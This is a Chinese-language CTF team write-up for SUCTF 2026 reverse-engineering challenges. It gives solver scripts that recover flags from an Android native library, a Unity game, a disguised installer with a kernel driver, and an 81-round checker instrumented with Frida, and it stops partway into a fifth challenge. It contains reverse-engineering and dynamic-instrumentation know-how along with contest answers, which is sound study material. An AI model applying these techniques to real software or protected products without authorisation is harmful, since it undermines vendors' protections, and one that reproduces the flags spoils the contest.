本次 SUCTF 2026,我们XMCVE-Polaris战队排名第7。
| 排名 | 队伍 | 总分 |
|---|---|---|
| 1 | F1ux | 16940 |
| 2 | dda_com | 13594 |
| 3 | infobahn | 12711 |
| 4 | abc | 12649 |
| 5 | 0psu3 | 12499 |
| 6 | Arr3stY0u | 12293 |
| 7 | XMCVE-Polaris | 11932 |
| 8 | L | 11910 |
| 9 | lz雷泽 | 11757 |
| 10 | Rainbow7 | 10847 |
RE
SU_flumel
解题过程
1. 样本识别
目标样本为 new_apk/unpacked/lib/x86_64/libjunk.so。
核心校验函数为导出符号 qk9v,地址 0x4490。

函数入口处存在基础参数约束:
n36 == 36n256 >= 256a1 != NULLa3 != NULL
运行时日志中可见有效调用样本:
work_tmp/qk9v_state_watch.log行359:n36=36 n256=2501101- 行
360:a1=3d2716d603fbccf4...f7a9e17f
2. 入口定位
qk9v 末尾比较段位于 0x5f60 附近
关键指令证据在 analysis/new_qk9v_5f60_6068.txt:
0x5f73:cmp $0x30,%rax,要求缓冲区长度为0x30(48 字节)0x5f8e: 与0x1ff0常量块异或0x5fae: 与0x1fd0常量块异或0x5fbb: 与0x2010常量块异或0x5fc3: 读取偏移0x2f字节并与0xcf比较0x604e:sete产出最终真假
该段逻辑等价于“48 字节密文逐段比对”。
3. 逻辑还原

比较目标由四段 rodata + 固定字节组成,可还原为 48 字节 targetCT:
CT[0:16] = *(0x1ff0)CT[16:32] = *(0x2000)CT[32] = 0x60CT[33] = 0xF9CT[34:38] = *(0x1fd0)[0:4]CT[38] = 0x00CT[39:47] = *(0x2010)[0:8]CT[47] = 0xCF
得到:
569670de6d7e270e7e27a189cec7082ba1883f69796631adbd7c6d0fea9f281d60f9d1277f1b007c36d631727753edcf
qk9v 前段会基于 cache.snap.bundle 计算哈希,再与两段 16 字节常量混合生成 key/iv。
关键常量:
0x1fe0:youknowwhatImean0x2020:itsallintheflow!
4. 数据提取
key/iv 生成公式可按循环还原:
key[i] = s1[i] XOR ((fnv32 + i) & 0xff) XOR bundle[(11 + 17*i) % n]iv[i] = s2[i] XOR ((crc_byte + 3*i) & 0xff) XOR bundle[(7 + 29*i) % n]
其中:
fnv32为bundle的 FNV-1a 32 位结果crc_byte = ((~crc_state) >> 8) & 0xff
解密 targetCT:
AES-CBC-DEC(targetCT, key, iv) -> targetA1 || PKCS7
得到:
targetA1 = 2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743
运行时已知映射(输入 A*36):
input_A = 41 * 36a1_A = 3d2716d603fbccf4aba8401661bca78ba50f9a55e88672074fbd970fb0d20fb5f7a9e17f
输入侧流可写为:
stream = input_A XOR a1_A
flag = targetA1 XOR stream
6. 解题脚本
#!/usr/bin/env python3
"""
Solve SU_flumel (attachment2).
Repro chain:
1) Derive key/iv from cache.snap.bundle + new libjunk.so constants.
2) Rebuild 48-byte target ciphertext from qk9v compare constants.
3) AES-CBC decrypt target ciphertext to get required 36-byte a1.
4) Use known probe mapping (input='A'*36 -> observed a1) to recover flag.
"""
from pathlib import Path
from Crypto.Cipher import AES
def fnv1a32(data: bytes) -> int:
h = 0x811C9DC5
for b in data:
h = ((h ^ b) * 0x01000193) & 0xFFFFFFFF
return h
def crc32_byte_for_iv(data: bytes) -> int:
table = []
for i in range(256):
c = i
for _ in range(8):
c = (0xEDB88320 ^ (c >> 1)) if (c & 1) else (c >> 1)
table.append(c & 0xFFFFFFFF)
state = 0xFFFFFFFF
i = 0
lim = len(data) & ~1
while i < lim:
t = table[(state ^ data[i]) & 0xFF] ^ (state >> 8)
state = table[(t ^ data[i + 1]) & 0xFF] ^ (t >> 8)
i += 2
if len(data) & 1:
state = table[(state ^ data[-1]) & 0xFF] ^ (state >> 8)
return ((~state) >> 8) & 0xFF
def derive_key_iv(bundle: bytes, lib: bytes) -> tuple[bytes, bytes]:
n = len(bundle)
h = fnv1a32(bundle)
crc_byte = crc32_byte_for_iv(bundle)
s1 = lib[0x1FE0:0x1FF0] # "youknowwhatImean"
s2 = lib[0x2020:0x2030] # "itsallintheflow!"
key = bytearray(16)
iv = bytearray(16)
for i in range(16):
idx1 = (11 + 17 * i) % n
idx2 = (7 + 29 * i) % n
key[i] = s1[i] ^ ((h + i) & 0xFF) ^ bundle[idx1]
iv[i] = s2[i] ^ ((crc_byte + 3 * i) & 0xFF) ^ bundle[idx2]
return bytes(key), bytes(iv)
def build_target_ct(lib: bytes) -> bytes:
ct = bytearray(48)
ct[0:16] = lib[0x1FF0:0x2000]
ct[16:32] = lib[0x2000:0x2010]
ct[32] = 0x60
ct[33] = 0xF9
ct[34:38] = lib[0x1FD0:0x1FD4]
ct[38] = 0x00
ct[39:47] = lib[0x2010:0x2018]
ct[47] = 0xCF
return bytes(ct)
def pkcs7_unpad(data: bytes) -> bytes:
pad = data[-1]
if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
raise ValueError("invalid PKCS7 padding")
return data[:-pad]
def recover_flag_bytes(target_a1: bytes) -> bytes:
# From historical runtime logs:
# input = "A"*36
# observed a1 = 3d2716d603fbccf4aba8401661bca78ba50f9a55e88672074fbd970fb0d20fb5f7a9e17f
known_input = b"A" * 36
known_a1 = bytes.fromhex(
"3d2716d603fbccf4aba8401661bca78ba50f9a55e88672074fbd970fb0d20fb5f7a9e17f"
)
stream = bytes(a ^ b for a, b in zip(known_input, known_a1))
return bytes(a ^ b for a, b in zip(target_a1, stream))
def main() -> None:
root = Path(__file__).resolve().parents[1]
bundle_path = root / "new_apk/unpacked/assets/flutter_assets/bundles/cache.snap.bundle"
lib_path = root / "new_apk/unpacked/lib/x86_64/libjunk.so"
bundle = bundle_path.read_bytes()
lib = lib_path.read_bytes()
key, iv = derive_key_iv(bundle, lib)
target_ct = build_target_ct(lib)
pt = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(target_ct)
target_a1 = pkcs7_unpad(pt)
flag = recover_flag_bytes(target_a1)
print(f"key = {key.hex()}")
print(f"iv = {iv.hex()}")
print(f"targetCT = {target_ct.hex()}")
print(f"targetA1 = {target_a1.hex()}")
print(f"flag = {flag.decode('ascii')}")
if __name__ == "__main__":
main()
Flag
SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}
SU_easygal
解题过程
1. 样本定位与类型判断
题目目录在 D:\CTF\题目\赛题\SUCTF2\SU_easygal\app,入口可执行文件是 Unity IL2CPP 程序:
esaygal.exeGameAssembly.dllesaygal_Data\global-metadata.dat
先确认整体文件结构:
Get-ChildItem -Force D:\CTF\题目\赛题\SUCTF2\SU_easygal
Get-ChildItem -Force D:\CTF\题目\赛题\SUCTF2\SU_easygal\app
2. 抽剧情配置
这题关键配置(权重上限、真结局目标值、节点数据)在 resources.assets 里,里面嵌了 JSON。
通过 brace matching 可以稳定抽出对象,拿到:
maxWeight = 132trueEndingValue = 322verificationMethod = "DP count exact optimum paths"nodeCount = 60
可直接运行:
@'
import json, pathlib
p = pathlib.Path(r"SU_easygal\app\esaygal_Data\resources.assets")
raw = p.read_bytes()
pos = raw.find(b'"meta"')
start = raw.rfind(b"{", 0, pos)
depth = 0
in_str = False
esc = False
end = -1
i = start
while i < len(raw):
c = raw[i]
if in_str:
if esc:
esc = False
elif c == 92:
esc = True
elif c == 34:
in_str = False
else:
if c == 34:
in_str = True
elif c == 123:
depth += 1
elif c == 125:
depth -= 1
if depth == 0:
end = i + 1
break
i += 1
obj = json.loads(raw[start:end].decode("utf-8"))
print(obj["meta"])
print("node_count =", len(obj["nodes"]))
print("node_1 =", obj["nodes"][0]["choices"])
'@ | python -

3. 定位关键函数与结束判定逻辑
先在 dump.cs 里定位关键符号:
rg -n "BuildTrueEndingFlag|EvaluateEnding|SetProgress|maxWeight|trueEndingValue|verificationMethod" D:\CTF\题目\赛题\SUCTF2\SU_easygal\analysis\il2cppdumper\dump.cs
会看到:
FlagUtility.BuildTrueEndingFlag(...)GameManager.EvaluateEnding(...)GameStateStore.SetProgress(...)

再从 script.json 对地址:
@'
import json, pathlib
p = pathlib.Path(r"SU_easygal\analysis\il2cppdumper\script.json")
obj = json.loads(p.read_text(encoding="utf-8"))
for target in ["FlagUtility$$BuildTrueEndingFlag", "GameManager$$EvaluateEnding", "GameStateStore$$SetProgress"]:
hits = [x for x in obj["ScriptMethod"] if x["Name"] == target]
for h in hits:
a = int(h["Address"])
print(target, "=>", hex(a), h["Signature"])
'@ | python -

其中 GameManager$$EvaluateEnding 地址是 0x66b4b0,与 analysis\gm_eval_pdr.txt 对应。
对照 gm_eval_pdr.txt 的关键分支:
rg -n -F -e "cmp dword [rcx + 0x44]" -e "cmp dword [rcx + 0x48]" -e "mov edx, 3" -e "inc edx" SU_easygal\analysis\gm_eval_pdr.txt
核心含义可还原为:
currentWeight > maxWeight->Failure- 否则比较
currentValue与trueEndingValue - 相等 ->
True,不等 ->Normal
4. 用 DP 求 60 节点唯一真结局路线
每个节点必须二选一(A/B),每个选项都有 (weight, value)。
目标是满足真结局判定:weight <= 132 且 value == 322。
按题内提示 verificationMethod = DP count exact optimum paths,对 60 节点做动态规划并统计最优路径条数。
最终得到唯一路线:
BBABAABAAAAAAABBABAAAABBBBABBBBBBBBAAABAAABABAAABBBABBBBAAAB
对应累积值:
weight = 132value = 322
5. 还原 BuildTrueEndingFlag
stringliteral.json 里有格式串:SUCTF{{{0}}}。
结合函数行为可还原为:
- 收集 60 次选择得到
markers - 直接拼接为一个字符串(无分隔符)
- 计算
md5(marker_concat) - 套格式
SUCTF{md5}
即:
flag = "SUCTF{" + md5("".join(markers)).hexdigest() + "}"
计算结果:
SUCTF{92d1c2c3f6e55fabbc3a6ffde57c7341}
解题脚本
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import hashlib
import json
from dataclasses import dataclass
from pathlib import Path
from typing import Dict, List, Tuple
@dataclass(frozen=True)
class Choice:
pick: str
weight: int
value: int
flag: str
marker: str
@dataclass(frozen=True)
class Node:
node_id: str
choice_a: Choice
choice_b: Choice
def extract_story_json(resources_path: Path) -> Dict:
raw = resources_path.read_bytes()
marker = b'"meta"'
pos = raw.find(marker)
if pos < 0:
raise RuntimeError('Cannot find JSON marker "meta" in resources.assets')
start = raw.rfind(b"{", 0, pos)
if start < 0:
raise RuntimeError("Cannot locate JSON start brace")
depth = 0
in_string = False
escaping = False
end = -1
i = start
while i < len(raw):
ch = raw[i]
if in_string:
if escaping:
escaping = False
elif ch == 0x5C:
escaping = True
elif ch == 0x22:
in_string = False
else:
if ch == 0x22:
in_string = True
elif ch == 0x7B:
depth += 1
elif ch == 0x7D:
depth -= 1
if depth == 0:
end = i + 1
break
i += 1
if end < 0:
raise RuntimeError("Cannot locate JSON end brace")
return json.loads(raw[start:end].decode("utf-8"))
def load_nodes(story: Dict) -> List[Node]:
nodes: List[Node] = []
for item in story["nodes"]:
c0, c1 = item["choices"]
nodes.append(
Node(
node_id=item["id"],
choice_a=Choice(
pick="A",
weight=int(c0["weight"]),
value=int(c0["value"]),
flag=str(c0["flag"]),
marker=str(c0["marker"]),
),
choice_b=Choice(
pick="B",
weight=int(c1["weight"]),
value=int(c1["value"]),
flag=str(c1["flag"]),
marker=str(c1["marker"]),
),
)
)
return nodes
def solve_optimal_paths(nodes: List[Node], max_weight: int) -> List[Tuple[int, int, str]]:
neg_inf = -10**18
dp: List[Tuple[int, int, str]] = [(neg_inf, 0, "") for _ in range(max_weight + 1)]
dp[0] = (0, 1, "")
for node in nodes:
next_dp: List[Tuple[int, int, str]] = [(neg_inf, 0, "") for _ in range(max_weight + 1)]
for w, (best_val, count, path) in enumerate(dp):
if count == 0:
continue
for choice in (node.choice_a, node.choice_b):
nw = w + choice.weight
if nw > max_weight:
continue
nv = best_val + choice.value
old_val, old_count, old_path = next_dp[nw]
if nv > old_val:
next_dp[nw] = (nv, count, path + choice.pick)
elif nv == old_val:
next_dp[nw] = (old_val, old_count + count, old_path)
dp = next_dp
return dp
def apply_route(nodes: List[Node], route: str):
rows = []
total_weight = 0
total_value = 0
flags: List[str] = []
markers: List[str] = []
for idx, (node, pick) in enumerate(zip(nodes, route), start=1):
choice = node.choice_a if pick == "A" else node.choice_b
total_weight += choice.weight
total_value += choice.value
flags.append(choice.flag)
markers.append(choice.marker)
rows.append(
(
idx,
node.node_id,
pick,
choice.weight,
choice.value,
total_weight,
total_value,
choice.flag,
choice.marker,
)
)
return rows, total_weight, total_value, flags, markers
def main() -> None:
default_root = Path(__file__).resolve().parents[1]
parser = argparse.ArgumentParser(description="Solve SU_easygal and rebuild final flag")
parser.add_argument(
"--resources",
type=Path,
default=default_root / "app" / "esaygal_Data" / "resources.assets",
help="Path to resources.assets",
)
parser.add_argument(
"--hide-steps",
action="store_true",
help="Hide full per-node step table",
)
args = parser.parse_args()
story = extract_story_json(args.resources)
meta = story["meta"]
nodes = load_nodes(story)
max_weight = int(meta["maxWeight"])
true_ending_value = int(meta["trueEndingValue"])
verification_method = str(meta.get("verificationMethod", ""))
dp = solve_optimal_paths(nodes, max_weight)
best_value = max(v for v, c, _ in dp if c > 0)
true_states = [(w, c, p) for w, (v, c, p) in enumerate(dp) if c > 0 and v == true_ending_value]
if not true_states:
raise RuntimeError("No path reaches trueEndingValue under maxWeight")
true_path_count = sum(c for _, c, _ in true_states)
chosen_weight, chosen_count, chosen_route = true_states[0]
if true_path_count > 1:
chosen_weight, chosen_count, chosen_route = sorted(true_states, key=lambda x: x[0])[0]
rows, final_weight, final_value, flags, markers = apply_route(nodes, chosen_route)
marker_concat = "".join(markers)
digest = hashlib.md5(marker_concat.encode("utf-8")).hexdigest()
flag = f"SUCTF{{{digest}}}"
print("=== SU_easygal Solver ===")
print(f"resources: {args.resources}")
print(f"nodeCount: {len(nodes)}")
print(f"maxWeight: {max_weight}")
print(f"trueEndingValue: {true_ending_value}")
print(f"verificationMethod: {verification_method}")
print(f"bestValueUnderWeight: {best_value}")
print(f"states@trueEndingValue: {[(w, c) for w, c, _ in true_states]}")
print(f"truePathCount: {true_path_count}")
print(f"chosenRouteWeight: {chosen_weight}")
print(f"chosenRoute: {chosen_route}")
print(f"finalWeight/finalValue: {final_weight}/{final_value}")
print(f"markerConcatLength: {len(marker_concat)}")
print(f"md5(markerConcat): {digest}")
print(f"flag: {flag}")
if not args.hide_steps:
print("\nidx node pick weight value cum_weight cum_value flag marker")
for row in rows:
print(
f"{row[0]:02d} {row[1]:>3} {row[2]} "
f"{row[3]:>2} {row[4]:>2} {row[5]:>3} {row[6]:>3} "
f"{row[7]} {row[8]}"
)
print("\nroute_for_submit =", chosen_route)
print("markers_concat =", marker_concat)
print("flags_joined =", ",".join(flags))
if __name__ == "__main__":
main()
SU_Lock
解题过程
1. 安装包初步定位
拿到文件 Everything_Setup_1.4.1.exe 先做壳层识别,确认是 Inno Setup。

把脚本拆出来后,能看到 Locksetup.exe 在 [Files] 和 [Run] 都带了 ShouldDseployMalware 条件,这一步基本可以判断:主程序是伪装,真正校验在二阶段。
2. 提取安装包密码并完整解包
继续看 CompiledCode.bin,能抓到几组关键符号:

ISTESTMODEENABLEDISAVRUNNINGSHOULDDEPLOYMALWAREsuctf
其中 suctf 就是 Inno 解包密码,使用下面命令可以拿到完整文件:
innounp -x -m -psuctf Everything_Setup_1.4.1.exe
解包后关键二阶段样本就是 Locksetup.exe。
3. Locksetup.exe 二阶段解密
Locksetup.exe 是 Rust 程序,字符串里能看到 SUCTF2026,顺着引用可还原出 RC4 风格解密流程。
它会解出两个 PE:
screenlock.exe(用户态)encryption.sys(驱动态)
到这里校验链条已经明确:用户态变换 + 驱动态最终比对。
4. screenlock.exe 用户态校验逻辑
用户输入先经过 GetWindowTextW 读取并转 UTF-8,然后做一个硬长度判断:必须是 0x28(40 字节)。
通过后会把 40 字节拆成 10 个 dword,执行 11 轮 TEA/XXTEA 风格变换,最后调用 DeviceIoControl 把结果送到驱动校验。

也就是说,想拿到明文输入,核心是把驱动中的目标值逆回去。
5. encryption.sys 驱动与 VM 逻辑

驱动 DeviceControlDispatch 里有两个关键 IOCTL:
0x222004:返回变换参数0x222008:校验 10 个 dword 是否匹配
内部不是直接写死比较,而是走一个小 VM 解释器 ExecuteVmScript,指令语义如下:

0x10:寄存器写立即数0x20:寄存器写回输出缓冲0x30:从输入缓冲读 dword0x40:比较寄存器0xFF:成功返回
脚本 1 运行后可得:
delta = 0x9E376A8Ekey = [0xDEADBEEF, 0xCAFEBABE, 0x1337C0DE, 0x0BADF00D]
脚本 2 可提取 10 个目标常量:
8DA1E7B1 CAA432E5 6EEC27BC EFC12B53 FA7505C2 54AC88A6 2F96AD99 77741A15 3E8673C1 C2B9F282
6. 逆运算还原输入
把用户态 11 轮变换按相反顺序做逆运算,输入用上面 10 个目标常量,最终恢复到 40 字节明文`

解题脚本
import struct
def u32(x):
return x & 0xFFFFFFFF
def mx(y, z, sumv, k):
return u32(
(((z << 3) & 0xFFFFFFFF) ^ (y >> 4))
+ ((z >> 2) ^ ((y << 5) & 0xFFFFFFFF))
^ ((y ^ k) + (z ^ sumv))
)
def xxtea_like_decrypt(words, delta, key_words, rounds=11):
v = words[:]
n = len(v)
sumv = u32(delta * rounds)
for _ in range(rounds):
e = (sumv >> 2) & 3
y = v[n - 2]
z = v[0]
v[n - 1] = u32(v[n - 1] - mx(y, z, sumv, key_words[((n - 1) & 3) ^ e]))
for p in range(n - 2, -1, -1):
y = v[p - 1] if p > 0 else v[n - 1]
z = v[p + 1]
v[p] = u32(v[p] - mx(y, z, sumv, key_words[(p & 3) ^ e]))
sumv = u32(sumv - delta)
return v
def main():
delta = 0x9E376A8E
key_words = [0xDEADBEEF, 0xCAFEBABE, 0x1337C0DE, 0x0BADF00D]
cipher_words = [
0x8DA1E7B1, 0xCAA432E5, 0x6EEC27BC, 0xEFC12B53, 0xFA7505C2,
0x54AC88A6, 0x2F96AD99, 0x77741A15, 0x3E8673C1, 0xC2B9F282,
]
plain_words = xxtea_like_decrypt(cipher_words, delta, key_words, rounds=11)
raw = b"".join(struct.pack("<I", w) for w in plain_words)
flag = raw.decode("utf-8")
print(f"delta = 0x{delta:08X}")
print("key_words =", [f"0x{x:08X}" for x in key_words])
print("cipher_words=", [f"0x{x:08X}" for x in cipher_words])
print("Recovered flag:", flag)
if __name__ == "__main__":
main()
Flag
SUCTF{SJCMA23-AX8MQ3IU-8UHCSO90-QCM1S0L}
SU_West
解题过程
1. 文件与题型确认
题目核心文件是:
SU_West\SU_West\Journey_to_the_West.exe
样本是 x64 PE。程序没有外部网络依赖,核心是本地 81 轮校验。
基线测试(81 个 1000000000000000):
all inputs collected, starting verification...
incorrect at round 1 (layer 1)
这说明:
- 输入格式是“81 个字段”;
- 每轮有独立 layer;
- 失败时会回报 round 和 layer。
2. 主流程定位

main:0x140001000- 收集输入:
sub_1400012C0(0x1400012C0) - 总校验:
sub_1400013B0(0x1400013B0)
main 的核心逻辑很直白:

- 调反调试检查;
- 调
sub_1400012C0收 81 个输入; - 调
sub_1400013B0校验; - 成功打印
correct,失败打印incorrect at round %zu (layer %u)。
这几个字符串可直接做 xref 定位:
"all inputs collected, starting verification...""incorrect at round %zu (layer %u)\n""correct"
3. 输入格式限制
格式检查函数:sub_140013070(0x140013070)。

可见约束:
- 只能是数字字符;
- 长度必须是 16;
- 数值范围:
- 最小
1000000000000000(10^15) - 最大
9999999999999999(10^16 - 1)
- 最小
范围判断代码证据:
(v7 - 1000000000000000) < 0x1FF973CAFA8000
4. 81 轮调度机制
总校验函数 sub_1400013B0 里有两张关键表:

- 轮次到 layer 的映射:
byte_14003DEE0 - layer 到函数指针的映射:
funcs_140001499(实际表地址0x14002A480)
调度方式是:
- 第
i轮取layer = byte_14003DEE0[i] - 调
funcs[layer](state, input[i])
所以不是“round i 调第 i 个函数”,而是“round i 先查 layer,再按 layer 查函数”。
样例(脚本提取):
round1: layer=1, func=0x140001eb0, q19=0x53d2b3440e4c2bec
round2: layer=76, func=0x140011130, q19=0xf0c771493081d830
round3: layer=32, func=0x140008220, q19=0x607fa19fb360e244
round81: layer=21, func=0x140005e70, q19=0x8910c6e04df7341d
5. 单层函数结构与可逆点
任意一层函数结构基本一致。
用 layer 1 的 sub_140001EB0 和 layer 81 的 sub_1400120E0 做对照最清楚。
共性:
- 先做若干状态混淆(
sub_140012480 / sub_140012630 / sub_140012780); - 再算一个 64 位值(
sub_140012940); - 与层内常量比较(本层表里
q[19]); - 通过后再更新状态并进入下一轮。
证据点:
sub_140001EB0:sub_140012940(...) == 0x53D2B3440E4C2BECsub_1400120E0:sub_140012940(...) == 0xD8E9676274C9F4CD
这说明目标值不是运行时随机数,而是层表常量,可静态提取。
6. 解法:逐轮逆推输入
- 每层目标常量取
q[19]; - 逆
sub_140012940、逆sub_140012630、逆sub_140012480,得到本轮输入; - 下一轮逆推需要新的状态
s0,用 Frida 在每轮函数入口读state[0]; - 81 轮循环,得到完整 argv 串。
#!/usr/bin/env python3
import argparse
import struct
import subprocess
import sys
import time
import frida
import pefile
MASK64 = (1 << 64) - 1
MASK32 = (1 << 32) - 1
MIN_INPUT = 10**15
MAX_INPUT = 10**16 - 1
# Static addresses from IDA (image base: 0x140000000)
ADDR_LAYER_ORDER = 0x14003DEE0
ADDR_FUNC_TABLE = 0x14002A480
ADDR_TABLE_BASE = 0x14002A710
ROUND_COUNT = 81
TABLE_STRIDE = 0xC0
def rol64(x: int, r: int) -> int:
r &= 63
x &= MASK64
if r == 0:
return x
return ((x << r) | (x >> (64 - r))) & MASK64
def ror64(x: int, r: int) -> int:
r &= 63
x &= MASK64
if r == 0:
return x
return ((x >> r) | (x << (64 - r))) & MASK64
def rol32(x: int, r: int) -> int:
r &= 31
x &= MASK32
if r == 0:
return x
return ((x << r) | (x >> (32 - r))) & MASK32
def ror32(x: int, r: int) -> int:
r &= 31
x &= MASK32
if r == 0:
return x
return ((x >> r) | (x << (32 - r))) & MASK32
class WestSolver:
def __init__(self, exe_path: str):
self.exe_path = exe_path
self.pe = pefile.PE(exe_path, fast_load=False)
self.base = self.pe.OPTIONAL_HEADER.ImageBase
self.image = self.pe.get_memory_mapped_image()
self.layer_order = [self.read_u8(ADDR_LAYER_ORDER + i) for i in range(ROUND_COUNT)]
self.func_ptrs = [self.read_u64(ADDR_FUNC_TABLE + 8 * i) for i in range(ROUND_COUNT)]
self.func_offsets = [addr - self.base for addr in self.func_ptrs]
# Initial state from sub_1400013B0
self.initial_s0 = 0x669E1E61279D826E
def read_bytes(self, va: int, size: int) -> bytes:
rva = va - self.base
return self.image[rva : rva + size]
def read_u8(self, va: int) -> int:
return self.read_bytes(va, 1)[0]
def read_u64(self, va: int) -> int:
return struct.unpack("<Q", self.read_bytes(va, 8))[0]
def table_q(self, layer: int):
t = ADDR_TABLE_BASE + layer * TABLE_STRIDE
return [self.read_u64(t + i * 8) for i in range(24)]
def table_b(self, layer: int):
t = ADDR_TABLE_BASE + layer * TABLE_STRIDE
return [self.read_u8(t + 160 + i) for i in range(4)] # b160,b161,b162,b163
def inv_sub_12940(self, outv: int, round_idx: int, q, b160, b161, b162, b163) -> int:
cur = (
outv
^ q[10]
^ ((0x94D049BB133111EB - ((0x6B2FB644ECCEEE15 * round_idx) & MASK64)) & MASK64)
) & MASK64
v4 = b163
v5 = (0xA24BAED4963EE407 - ((0x5DB4512B69C11BF9 * round_idx) & MASK64)) & MASK64
v6 = b162
v7 = v6 + round_idx + 1
v8 = v6 + round_idx
v10 = v4
v22 = v4 + 1
v23_const = v6 + 1
v27 = v5
params = []
rounds = ((v4 + round_idx) & 1) + 3
for v9 in range(rounds):
v12 = -63 * (v6 // 0x3F)
v13 = q[((v9 + v4) & 3) + 11] ^ q[v9 + 1] ^ q[7] ^ v5 ^ q[8]
v14 = v7 - 63 * (v8 // 0x3F)
v15 = rol64(q[9], v9 + v22 - 63 * (v10 // 0x3F))
v16 = ((q[0] + v13) & MASK64) ^ rol64(q[5], v9 + v23_const + v12)
params.append((v13, v14, v15, v16))
v6 += 1
v7 += 3
v8 += 3
v5 = (v5 + v27) & MASK64
v10 += 1
for v13, v14, v15, v16 in reversed(params):
cur = (ror64((cur - v16) & MASK64, v14) ^ v15 ^ v13) & MASK64
return cur
def inv_sub_12630(self, v8_target: int, s0: int, round_idx: int, layer: int, q, b160, b161, b162, b163) -> int:
v18 = round_idx + layer + b163 + 1
v19 = b163
v6 = round_idx + v19
v8c = 0xBF58476D1CE4E5B9
v11 = layer + v6
v12 = (0x94D049BB133111EB - ((0x6B2FB644ECCEEE15 * round_idx) & MASK64)) & MASK64
v14 = v12
params = []
for v13 in range(b160 + 2):
v16 = s0 ^ v8c ^ q[(v13 & 3) + 11]
k = q[((v13 + v19) & 3) + 15] ^ v14
sh = v18 + v13 - 63 * (v11 // 0x3F)
params.append((v16, k, sh))
v11 += 1
v14 = (v14 + v12) & MASK64
v8c = (v8c - 0x40A7B892E31B1A47) & MASK64
cur = v8_target
for v16, k, sh in reversed(params):
cur = (ror64((cur - v16) & MASK64, sh) ^ k) & MASK64
const_term = (
s0
^ q[5]
^ ((0xA24BAED4963EE407 * layer) & MASK64)
^ ((0x9E3779B97F4A7C15 - ((0x61C8864680B583EB * round_idx) & MASK64)) & MASK64)
)
return cur ^ const_term
def inv_sub_12480(self, v7_target: int, s0: int, round_idx: int, layer: int, q, b160, b161, b162, b163) -> int:
ch = (v7_target >> 32) & MASK32
cl = v7_target & MASK32
v6 = 0xA24BAED4963EE407
v8x = b162
v20 = v8x + round_idx + 7
v9x = v8x + round_idx + 6
v10x = v8x + round_idx
v19 = round_idx + v8x + 1
v23 = (
q[0]
^ ((0xD6E8FEB86659FD93 * layer) & MASK64)
^ s0
^ ((0x9E3779B97F4A7C15 - ((0x61C8864680B583EB * round_idx) & MASK64)) & MASK64)
)
params = []
for v11 in range(b161 + 6):
v14 = 31 * (v10x // 0x1F)
v15 = v20 - 31 * ((v9x - v14) // 0x1F) - v14
v16 = q[(v11 & 3) + 1] ^ v6 ^ v23
s1 = v11 + v19 - v14
s2 = v11 + v15
params.append((v16, s1, s2))
v6 = (v6 - 0x5DB4512B69C11BF9) & MASK64
v9x += 1
v10x += 1
for v16, s1, s2 in reversed(params):
old_l = ch
lo = v16 & MASK32
hi = (v16 >> 32) & MASK32
g = ((rol32(lo ^ old_l, s1) + ((old_l ^ hi) & MASK32)) & MASK32) ^ (
(lo + ror32(old_l, s2)) & MASK32
)
old_h = cl ^ g
ch, cl = old_h & MASK32, old_l & MASK32
init = ((ch << 32) | cl) & MASK64
return init ^ q[5]
def solve_round(self, round_idx: int, s0: int) -> int:
layer = self.layer_order[round_idx]
q = self.table_q(layer)
b160, b161, b162, b163 = self.table_b(layer)
target = q[19]
v8 = self.inv_sub_12940(target, round_idx, q, b160, b161, b162, b163)
v7 = self.inv_sub_12630(v8, s0, round_idx, layer, q, b160, b161, b162, b163)
value = self.inv_sub_12480(v7, s0, round_idx, layer, q, b160, b161, b162, b163)
return value
def capture_s0_for_round(self, round_idx: int, values) -> int:
arg = ",".join(f"{x:016d}" for x in values)
offsets_js = ",".join(hex(x) for x in self.func_offsets)
script_source = f"""
const base = Process.getModuleByName('Journey_to_the_West.exe').base;
const targetRound = {round_idx};
const offs = [{offsets_js}];
let sent = false;
for (const off of offs) {{
Interceptor.attach(base.add(off), {{
onEnter(args) {{
if (sent) return;
const st = args[0];
const r = parseInt(st.add(8).readU64().toString());
if (r === targetRound) {{
const s0 = st.readU64().toString();
send({{ s0: s0 }});
sent = true;
}}
}}
}});
}}
"""
device = frida.get_local_device()
pid = device.spawn([self.exe_path, arg])
session = device.attach(pid)
got = {"s0": None}
def on_message(message, _data):
if message.get("type") == "send":
payload = message.get("payload", {})
if "s0" in payload:
got["s0"] = int(payload["s0"])
script = session.create_script(script_source)
script.on("message", on_message)
script.load()
device.resume(pid)
deadline = time.time() + 6.0
while time.time() < deadline and got["s0"] is None:
time.sleep(0.02)
try:
device.kill(pid)
except frida.ProcessNotFoundError:
pass
session.detach()
if got["s0"] is None:
raise RuntimeError(f"failed to capture s0 for round {round_idx + 1}")
return got["s0"]
def run_with_values(self, values):
arg = ",".join(f"{x:016d}" for x in values)
return subprocess.run([self.exe_path, arg], capture_output=True, text=True)
def main():
parser = argparse.ArgumentParser(description="Solve SU_West / Journey_to_the_West.exe")
parser.add_argument(
"--exe",
default=r"d:\CTF\题目\赛题\SUCTF2\SU_West\SU_West\Journey_to_the_West.exe",
help="Path to Journey_to_the_West.exe",
)
args = parser.parse_args()
solver = WestSolver(args.exe)
values = []
for i in range(ROUND_COUNT):
if i == 0:
s0 = solver.initial_s0
else:
probe = values + [MIN_INPUT] * (ROUND_COUNT - len(values))
s0 = solver.capture_s0_for_round(i, probe)
x = solver.solve_round(i, s0)
if not (MIN_INPUT <= x <= MAX_INPUT):
raise RuntimeError(
f"round {i + 1}: solved value out of allowed range: {x} ({hex(x)})"
)
values.append(x)
print(f"[+] round {i + 1:02d}/{ROUND_COUNT} layer={solver.layer_order[i] + 1:02d} value={x}")
print("\n[+] all 81 values solved. verifying...")
result = solver.run_with_values(values)
sys.stdout.write(result.stdout)
if result.stderr:
sys.stderr.write(result.stderr)
line = None
for ln in result.stdout.splitlines():
if "flag:" in ln:
line = ln.strip()
break
if line:
print(f"\n[+] {line}")
else:
print("\n[!] no flag line found in output")
print("\n[+] argv payload:")
print(",".join(f"{x:016d}" for x in values))
if __name__ == "__main__":
main()
SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}
SU_old_bin
解题过程
1. 样本识别
附件主文件是 attachment/old.bin。先做一层按字节异或 0x7f,得到 analysis/old_xor7f.bin。
异或后文件头是 IMG0,并且能直接读出三段压缩流范围:
